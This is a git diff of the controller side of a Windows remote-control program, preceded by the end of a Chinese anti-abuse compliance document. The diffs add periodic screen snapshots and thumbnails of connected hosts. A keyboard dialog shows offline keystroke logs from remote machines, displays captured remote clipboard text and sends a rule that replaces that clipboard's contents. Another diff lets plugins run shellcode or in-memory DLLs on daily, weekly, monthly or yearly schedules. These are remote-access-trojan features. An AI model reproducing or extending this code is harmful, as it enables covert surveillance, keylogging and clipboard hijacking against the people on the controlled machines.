- 新增告警通道(如增加日志落盘 / 加 webhook 通知),但不得替换原有告警通道;
- 提高检测精度(如本文档 §4 所列规划项);
- 修复 OS 兼容性 bug但不得以"OS 不支持"为由整体跳过试用档的检测。
---
## 6. 与政策文档的对照表
便于审查方在本仓库技术实现 ↔ `Compliance_AntiAbuse.md` 政策条款之间双向追溯。
| 政策条款 | 本文档节 |
| --- | --- |
| § 6.1 入站连接源 IP 段校验 | [1.1](#11-入站连接源-ip-段校验) |
| § 6.2 监听端口数量上限 | [1.2](#12-监听端口数量上限) |
| § 6.3 应用层 RTT 反代理 | [1.3](#13-应用层-rtt-反代理) + [1.9](#19-服务端入站-ip-段即时检测)(服务端即时 IP 段判定)+ [1.10](#110-服务端内核级-rtt-监测sio_tcp_info)(服务端内核级 RTT 补强) |
| § 6.4 授权服务器周期心跳 | [1.4](#14-授权服务器周期心跳与超时熔断) |
| § 6.5 措施的可被感知性 | 见各节"触发动作"列 |
| § 6.6 措施的合理性声明 | 见各节"已知局限"列 |
| § 7 授权分级与对应限制 | [2](#2-分档授权与对应限制) |
---
文档结束 / END OF DOCUMENT

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2);
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
// 大于此日期客户端支持更大的内存DLL
#define DLL_8MB_DATE "Apr 12 2026"
// 前向声明
class CMy2015RemoteDlg;
extern CMy2015RemoteDlg* g_2015RemoteDlg;
@@ -234,6 +237,77 @@ public:
// 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。
class CPreviewTipWnd* m_pPreviewTip = nullptr;
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应
// 屏幕预览响应消息载荷PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它)。
// IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配UI 线程消费后释放。
// 把 clientId 放进来是为了1) 循环快照场景按 clientId 路由到目标窗口;
// 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位,截 64 位 clientID。
struct PreviewRspMsg {
uint64_t clientId;
std::vector<BYTE> packet;
};
// "播放快照"循环模式:每个表项对应一台主机的浮窗 + 调度状态。
// 仅 UI 线程访问(菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
// OnLoopTipDestroyed / Release不加锁context* 走 FindHost 在 m_cs 下取。
struct LoopTipEntry {
class CPreviewTipWnd* tip = nullptr;
WORD expectedReqId = 0; // 上次发请求时写入;响应时校验
WORD maxWidth = 480;
BYTE jpegQuality = 70;
};
std::map<uint64_t, LoopTipEntry> m_LoopTips;
WORD m_LoopReqId = 0; // 循环快照专用 reqId与 m_PreviewReqId 解耦
static const int LOOP_INTERVAL_MS = 3000; // 循环快照间隔(暂定 3 秒)
// 循环快照帮助函数(仅 UI 线程调用)
void OpenLoopTip(class context* ctx, CPoint anchor);
void CloseLoopTip(uint64_t clientID);
void CloseAllLoopTips();
void TickLoopTips();
void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
// ===== 主机列表缩略图(在线列表第 0 列) =====
// 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG
// [thumbnail] 节。所有运行时状态仅 UI 线程访问。
struct ThumbnailSettings {
bool Enabled = true;
int RefreshIntervalSec = 30; // 单台主机的刷新周期
int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16
int NetReqWidth = 120; // 网络请求的源宽HiDPI 余量,>= ThumbWidth
int JpegQuality = 60; // 1..100
};
ThumbnailSettings m_ThumbnailCfg;
struct ThumbCacheEntry {
HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIBBitBlt 友好
int w = 0;
int h = 0;
};
std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails; // 缩略图缓存
std::map<uint64_t, DWORD> m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间
std::set<uint64_t> m_ThumbnailPending; // 在飞的 clientId 集合
WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId与 m_PreviewReqId / m_LoopReqId 解耦)
// 行高占位 ImageListCListCtrl 没有 SetRowHeight标准做法是装一个 1×rowH 的
// 空 ImageList 强行撑高行。关闭缩略图时换回 1×default或 detach让行高回缩。
CImageList m_thumbRowHeightImgList;
int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建)
// 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理:
// - 启动/停止 TIMER_THUMBNAIL_REFRESH
// - 列宽 / 行高 调整
// - 尺寸变化时丢弃旧缓存 HBITMAP
void ApplyThumbnailSettings();
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID);
void ClearAllThumbnailCache();
void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行
// 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁)
@@ -286,7 +360,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -438,6 +512,8 @@ public:
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
// 单击缩略图列COL_THUMBNAIL命中时弹出循环监视窗口其余列保持默认行为
afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
// 发起预览请求reqId 应与 m_PreviewReqId 同步
@@ -460,6 +536,8 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialRttAbuse(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
afx_msg void OnMainNetwork();
afx_msg void OnToolRcedit();
@@ -494,6 +572,7 @@ public:
afx_msg void OnParamEnableLog();
afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2();
afx_msg void OnParamThumbnailPreview();
afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort();
@@ -520,4 +599,5 @@ public:
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop();
};

View File

@@ -562,6 +562,7 @@
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
@@ -589,6 +590,7 @@
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
@@ -599,6 +601,11 @@
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>

View File

@@ -212,6 +212,7 @@
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
@@ -245,6 +246,7 @@
<Image Include="res\Bitmap\Logout.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Exit.bmp" />
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
@@ -338,4 +340,9 @@
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
</Project>

View File

@@ -7,6 +7,68 @@
#include <iostream>
#include <ws2tcpip.h>
// 服务端 RTT 反代理(试用版执法)。声明在主对话框 cpp 中,无单独头文件。
BOOL IsTrail(const std::string& passcode);
// ============================================================================
// SIO_TCP_INFO 兼容性 shim
//
// SIO_TCP_INFO 自 Win10 1703 / Server 2016 起提供,对应的 SDK 头声明只在
// NTDDI_VERSION >= NTDDI_WIN10_RS2 (0x0A000003) 时才可见。本项目当前
// _WIN32_WINNT=0x0602 / NTDDI_VERSION=0x06020000Win8整体上调宏会
// 波及其他模块,且会排除 Win8/8.1 用户。因此在此处本地声明常量与结构,
// 运行时若 OS 不支持WSAIoctl 会返回 WSAEOPNOTSUPP由探测代码静默降级。
//
// 结构体字段顺序严格遵循 MS 公开的 TCP_INFO_v0 定义,不要随意调整。
// ============================================================================
#ifndef SIO_TCP_INFO
#define SIO_TCP_INFO _WSAIORW(IOC_VENDOR, 39)
#endif
typedef struct _TCP_INFO_v0_local {
ULONG State; // TCPSTATE枚举按 4 字节读)
ULONG Mss;
ULONG64 ConnectionTimeMs;
UCHAR TimestampsEnabled;
UCHAR Pad_[3]; // 显式 padding让 RttUs 落在 4 字节边界
ULONG RttUs; // <-- 本文件唯一关心的字段
ULONG MinRttUs;
ULONG BytesInFlight;
ULONG Cwnd;
ULONG SndWnd;
ULONG RcvWnd;
ULONG RcvBuf;
ULONG64 BytesOut;
ULONG64 BytesIn;
ULONG BytesReordered;
ULONG BytesRetrans;
ULONG FastRetrans;
ULONG DupAcksIn;
ULONG TimeoutEpisodes;
UCHAR SynRetrans;
} TCP_INFO_v0_local;
// 读取 socket 的内核测得 RTT。成功返回 0 并写入 *rttUs失败返回 WSAGetLastError()。
static int QuerySocketTcpRttUs(SOCKET s, uint32_t* rttUs)
{
TCP_INFO_v0_local info; ZeroMemory(&info, sizeof(info));
DWORD ver = 0; // request v0
DWORD bytesReturned = 0;
int ret = WSAIoctl(s, SIO_TCP_INFO,
&ver, sizeof(ver),
&info, sizeof(info),
&bytesReturned, NULL, NULL);
if (ret == 0) {
if (rttUs) *rttUs = info.RttUs;
return 0;
}
return WSAGetLastError();
}
// 全 server 进程级 latchIP 段触发与 RTT 触发共用。多 server 实例(多端口监听)共享一份,
// 任一先触发后其余 server 与其它触发路径不再重复弹框。
std::atomic<bool> IOCPServer::s_TrialAbuseWarned{false};
// Proxy Protocol v2 签名 (12 字节)
static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = {
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A
@@ -353,6 +415,13 @@ void IOCPServer::Destroy()
if (m_hKillEvent != NULL) {
SetEvent(m_hKillEvent);
// RTT 轮询线程要等它退出后再关 m_hKillEvent否则线程仍在 WaitForSingleObject 上时
// 关句柄是 UB。监听 / 工作线程是用 m_bTimeToKill 兜底的,原有时序不动。
if (m_hRttThread != NULL) {
WaitForSingleObject(m_hRttThread, 5000);
SAFE_CLOSE_HANDLE(m_hRttThread);
m_hRttThread = NULL;
}
SAFE_CLOSE_HANDLE(m_hKillEvent);
m_hKillEvent = NULL;
}
@@ -414,7 +483,10 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
m_nPort = uPort;
m_NotifyProc = NotifyProc;
m_OfflineProc = OffProc;
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
// manual-reset本进程内可能有多个等待者ListenThread / RttPollThreadProc
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout≤1s
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
m_hKillEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
if (m_hKillEvent==NULL) {
return 1;
@@ -507,6 +579,20 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
//启动工作线程 1 2
InitializeIOCP();
// 试用版反代理 RTT 轮询(仅在主控自身为试用模式时启动)。
// 检测信号来自内核 SIO_TCP_INFO详见 IOCPServer.h 头部 / RttPollThreadProc 注释。
{
std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
m_bTrialMode = (IsTrail(pwd) == TRUE);
}
if (m_bTrialMode) {
m_hRttThread = CreateThread(NULL, 0, RttPollThreadProc, (void*)this, 0, NULL);
if (m_hRttThread == NULL) {
Mprintf("[Compliance] RTT poll thread spawn failed (err=%lu); LANRttChecker (client-side) remains as fallback.\n",
GetLastError());
}
}
return 0;
}
@@ -823,6 +909,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
assert(ContextObject);
// 输出服务端所发送的命令
int cmd = szBuffer[0];
#ifdef _DEBUG
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
char buf[100] = { 0 };
@@ -833,6 +920,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
}
Mprintf("[COMMAND] Send: %s\r\n", buf);
}
#endif
try {
do {
if (ulOriginalLength <= 0) return FALSE;
@@ -928,6 +1016,97 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
return FALSE;
}
// ============================================================================
// 试用版反代理 —— 服务端 RTT 轮询线程
//
// 仅在主控自身处于试用模式IsTrail(passcode) == TRUE时由 StartServer 启动。
// 1 Hz 遍历 m_ContextConnectionList对每个活跃连接调 WSAIoctl(SIO_TCP_INFO) 取
// 内核测得的纯网络 RTT喂给 ctx->m_RttDetector。任一 detector 首次触发 →
// 通过 s_TrialAbuseWarned latch 抢一次 PostMessage 给主窗口弹框;其余 detector
// 仍照常运转(继续记日志),但不再重复弹框。
//
// 并发模型:对齐既有 IoRefCount / IsRemoved 模式 —— 持 m_cs snapshot 指针并
// 引用计数 ++,锁外做 WSAIoctl + 写 atomic最后引用计数 --。RemoveStaleContext
// 会等 IoRefCount==0 才回收,无悬空指针。
//
// 不支持 SIO_TCP_INFO 的 OSWin8 / Server 2012 等):首次探测命中
// WSAEOPNOTSUPP 时打日志后线程自行退出;客户端 LANRttChecker 仍作为兜底。
// ============================================================================
DWORD IOCPServer::RttPollThreadProc(LPVOID lParam)
{
IOCPServer* This = (IOCPServer*)lParam;
while (!This->m_bTimeToKill) {
DWORD waitRet = WaitForSingleObject(This->m_hKillEvent, 1000);
if (waitRet == WAIT_OBJECT_0 || waitRet == WAIT_FAILED) break;
if (This->m_bTimeToKill) break;
// —— 步骤 1持锁快照 + 占引用 —— 锁外才做 WSAIoctl避免阻塞其他 I/O
std::vector<PCONTEXT_OBJECT> snap;
EnterCriticalSection(&This->m_cs);
for (POSITION pos = This->m_ContextConnectionList.GetHeadPosition(); pos != NULL; ) {
PCONTEXT_OBJECT ctx = This->m_ContextConnectionList.GetNext(pos);
if (!ctx) continue;
if (ctx->IsRemoved.load(std::memory_order_acquire)) continue;
ctx->IoRefCount.fetch_add(1, std::memory_order_acq_rel);
snap.push_back(ctx);
}
LeaveCriticalSection(&This->m_cs);
// —— 步骤 2OS 兼容性探测(一次性,借第一个真实连接做) —— 探测失败的 OS
// 上整个线程不必再活,本次循环把已占的引用还掉就退出。
if (!This->m_bSioTcpInfoProbed.load(std::memory_order_acquire) && !snap.empty()) {
uint32_t probeRtt = 0;
int err = QuerySocketTcpRttUs(snap[0]->sClientSocket, &probeRtt);
if (err == WSAEOPNOTSUPP) {
Mprintf("[Compliance] SIO_TCP_INFO not supported by OS (WSAEOPNOTSUPP); "
"server-side RTT monitoring disabled. Client-side LANRttChecker remains active.\n");
This->m_bSioTcpInfoSupported.store(false, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
for (auto* c : snap) c->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
break;
}
// 其它错误(如 WSAENOTCONN 短连接刚断)不视为 OS 问题,下一轮再试
if (err == 0) {
This->m_bSioTcpInfoSupported.store(true, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
Mprintf("[Compliance] SIO_TCP_INFO probe OK; server-side anti-proxy RTT monitor armed "
"(threshold=%d ms, trigger after >=%d consecutive median breaches @1Hz).\n",
TcpRttBreachDetector::RTT_THRESHOLD_MS, TcpRttBreachDetector::BREACH_PERSIST_COUNT);
}
}
// —— 步骤 3逐 ctx 取 RTT + 喂检测器 —— 同步释放引用
for (auto* ctx : snap) {
uint32_t rttUs = 0;
int err = QuerySocketTcpRttUs(ctx->sClientSocket, &rttUs);
if (err == 0 && rttUs > 0) {
ctx->SetRttUs(rttUs);
// RttUs 单位是微秒,转毫秒喂检测器
int rttMs = (int)((rttUs + 500) / 1000);
if (ctx->m_RttDetector.Feed(rttMs)) {
// 本 ctx 首次触发:记日志(每个 ctx 都记,便于排查 abusive 来源);
// 全 server 一次性 latch 决定要不要弹框
Mprintf("[Compliance] !!! Trial-mode anti-proxy triggered: client=%llu IP=%s "
"median RTT=%d ms (threshold=%d ms).\n",
ctx->ID, ctx->GetPeerName().c_str(),
ctx->m_RttDetector.TriggerMedianMs(),
TcpRttBreachDetector::RTT_THRESHOLD_MS);
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && This->m_hMainWnd) {
// WPARAM 携带 abusive ctx 的 ClientID 低 32 位仅用于展示LPARAM 携带 medianMs
PostMessageA(This->m_hMainWnd, WM_TRIAL_RTT_ABUSE,
(WPARAM)(ctx->ID & 0xFFFFFFFF),
(LPARAM)ctx->m_RttDetector.TriggerMedianMs());
}
}
}
ctx->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
}
}
return 0;
}
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程
{
IOCPServer* This = (IOCPServer*)(lParam);
@@ -1010,6 +1189,29 @@ void IOCPServer::OnAccept()
}
RecordConnection(clientIP);
// 试用版反代理 —— 入站 IP 段检测(即时触发,对合作型代理透明)
//
// 与 RttPollThreadProc 的 SIO_TCP_INFO 检测互补RTT 测的是"我↔直接 TCP 对端"
// 任何 TCP 终结型代理都能欺骗它;本检测用 Proxy Protocol v2 解出的真实 IP若有
// 或 getpeername 的 raw IP 直接判私网段。
// - 覆盖:直连 WAN、PP2 透出真实 IP 是公网
// - 不覆盖socat / 不发 PP2 的中转 —— 那种场景仍由客户端 LANRttChecker 兜底
//
// 性能:每个新连接走一次 IsPrivateIPv4Str几个位运算不放心跳路径可忽略。
// 不主动断开连接(与 RTT 路径一致仅告警),由运营商看到弹框后自行处置。
// 详见 docs/Compliance_TechnicalMeasures.md口径文档可能比这里更新
if (m_bTrialMode && !LANChecker::IsPrivateIPv4Str(clientIP)) {
Mprintf("[Compliance] !!! Trial-mode WAN inbound: IP=%s (resolved via %s).\n",
clientIP.c_str(),
ContextObject->GetPeerName().empty() ? "getpeername" : "Proxy Protocol v2 or getpeername");
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && m_hMainWnd) {
// CString* 由 OnTrialWanIpAbuse handler 负责 delete与 OnShowErrMessage 一致
PostMessageA(m_hMainWnd, WM_TRIAL_WAN_IP_ABUSE,
(WPARAM)new CString(clientIP.c_str()), 0);
}
}
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);

View File

@@ -78,9 +78,19 @@ protected:
void LoadIPWhitelist();
void LoadIPBlacklist();
// RTT 反代理(试用版执法)相关。详见 IOCPServer.cpp 中的实现注释。
HANDLE m_hRttThread = NULL;
bool m_bTrialMode = false; // StartServer 时根据 IsTrail(passcode) 缓存
std::atomic<bool> m_bSioTcpInfoProbed{false}; // 是否已完成 OS 兼容性探测
std::atomic<bool> m_bSioTcpInfoSupported{false}; // 探测结果(不支持则 RTT 线程会自行退出)
// 全 server 进程一次性 latchIP 段触发与 RTT 触发共用。任一先触发后另一者只记日志不再弹框,
// 避免对运营商反复打扰;不影响每条 abusive 连接的独立日志。
static std::atomic<bool> s_TrialAbuseWarned;
private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID);
VOID OnAccept();

View File

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
}
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
}
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
__super::PostNcDestroy();
}
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog()
{
__super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
RebuildEdit(m_edit);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default:
return;
}
}
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (IsWindowVisible())
/* if (IsWindowVisible())
ResizeEdit();
*/
}
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
DialogBase::OnClose();
}
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}

View File

@@ -54,6 +54,13 @@
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
TextReplace m_TextRule = {};
CEdit m_EditClipText;
CEdit m_EditClipRule;
void RebuildEdit(CEdit& m_edit);
afx_msg void OnBnClickedBtnApplyTextrule();
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
};
//{{AFX_INSERT_LOCATION}}

View File

@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
@@ -106,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
int index = 0;
for (const auto& dll : m_DllList) {
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
int runType = cfg ? cfg->RunType : info->RunType;
